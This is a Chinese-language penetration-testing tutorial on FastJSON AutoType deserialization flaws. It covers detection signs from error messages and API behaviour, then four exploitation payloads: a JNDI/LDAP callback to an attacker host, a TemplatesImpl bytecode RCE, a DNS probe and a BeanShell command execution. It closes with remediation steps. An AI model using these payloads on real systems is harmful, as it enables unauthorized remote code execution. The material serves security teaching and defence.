渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?
渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?
原创 火力猫 季升安全 2025-04-24 00:15
🧨 FastJSON 渗透实战指南
1️⃣ 什么是 FastJSON?
FastJSON 是阿里巴巴开源的一款高性能 Java JSON 解析库,用于将 JSON 字符串转换为 Java 对象,或将 Java 对象序列化为 JSON。
👉 开发者最常用的方法
:
Object obj = JSON.parse(json); // 动态解析,关键点!
JSON.parse的安全隐患分析详情
👉 一文看懂 JSON.parse 背后的安全隐患与黑盒利用方法
2️⃣ FastJSON 漏洞产生原因
🚨 问题核心:AutoType 自动类型识别
当传入如下 JSON:
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com:1389/Exploit","autoCommit": true}
若 AutoType 功能未禁用
,FastJSON 会尝试加载并实例化你指定的类。攻击者可以构造恶意类,实现远程代码执行(RCE)!
🧯 正常业务场景根本不需要 @type,但若未做限制,就容易被利用。
3️⃣ 怎么发现可利用点呢?
观察报错信息:
关键词 | 意义 |
---|---|
com.alibaba.fastjson |
FastJSON 类路径 |
com.alibaba.fastjson.JSONException |
JSON 解析异常 |
AutoType is not support |
禁用 AutoType 提示 |
Could not auto-type class |
尝试加载类失败,典型 FastJSON 错误 |
parseObject / parseArray |
方法堆栈中可能出现 |
ClassNotFoundException + @type |
尝试加载不存在类(典型探测响应) |
报错信息示例:
{"error": {"message": "Could not auto-type class","type": "com.alibaba.fastjson.JSONException" }}
✅ API 特征分析:
1. 参数中出现原始 JSON 字符串字段
{"payload": "{\"a\":1,\"b\":2}"// 👈 明显是服务端要 parse 的}
🔍 说明
:开发者常将嵌套 JSON 作为字符串参数传给后端,然后用 JSON.parse(payload)
解析。
2. 接口直接接收 JSON 并返回原样结构
POST /api/echoContent-Type: application/json{"name": "Alice","age": 23}
响应:
{"code": 0,"data": {"name": "Alice","age": 23 }}
🎯 分析:接口对原始 JSON 做了结构化处理再输出,可能使用了 parseObject()
。
3. 接口响应字段中回显了传入的结构(比如 @type)
输入:
{ "@type":"www.geekserver.top" }
响应回显:
{ "@type": "www.geekserver.top" }
🔍 说明服务端未做结构过滤,可能直接使用了 JSONObject
存储处理用户输入。
👉当参数字段名中出现data、config、json、payload 就应该引起注意
✅ 响应行为分析:
-
请求中加入 @type
字段后,如果有下面特征,就需要进一步分析: -
直接回显
-
报错有类名或堆栈信息
-
响应时间明显变慢(sleep 链)
-
DNS 有请求(URL/DNS 测试)
4️⃣ 漏洞利用方式
📍 利用方式一:JNDI 回连
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com:1389/Exploit","autoCommit": true}
-
✅ 原理:
-
setDataSourceName()
内部会调用 connect() -
在 autoCommit=true
时触发 JNDI 查询 → 远程类加载 → RCE -
🎯关注点:
-
确认 autoCommit
字段被调用 -
确认LDAP 服务端返回恶意 class
-
🔥 结果:RCE 或 LDAP 服务器收到回连
📍 利用方式二:TemplatesImpl RCE
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","transletBytecodes": ["<恶意字节码 base64>"],"transletName": "a","outputProperties": {}}
-
✅ 原理:类加载器会执行字节码静态块,具体:
-
newTemplates()
时会加载并实例化 bytecode 中的类 -
bytecode 中可植入静态块执行任意命令
-
🔥 结果:直接 RCE
📍 利用方式三:DNS 盲注
{"@type": "java.net.InetAddress","val": "www.geekserver.top"}
-
✅ 原理:FastJSON 反序列化InetAddress.getByName()
触发 DNS 请求 -
🔥 结果:在无回显环境中判断漏洞存在
FastJSON无回显探测
👉 DNS 一响,漏洞登场!FastJSON 不出网探测全攻略
📍 利用方式四:BeanShell 执行脚本
{"@type":"bsh.BeanShell","name": "geekserver.top","eval": "java.lang.Runtime.getRuntime().exec('id').toString()"}
-
✅ 前提:服务端有 BeanShell
-
🔍 原理:bsh.BeanShell
在 eval()
时直接执行脚本 -
🔥 结果:直接命令执行(某些旧系统)
5️⃣ 总结
|
|
|
---|---|---|
|
|
|
|
{"@type":"xxx"} 逐步 fuzz |
|
|
|
|
|
|
|
|
|
|
🛡️ 修复建议:
-
关闭 AutoType:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
-
若必须开启,严格配置白名单:addAccept(“com.safe.package.”)
-
不使用 JSON.parse()
,应指定明确类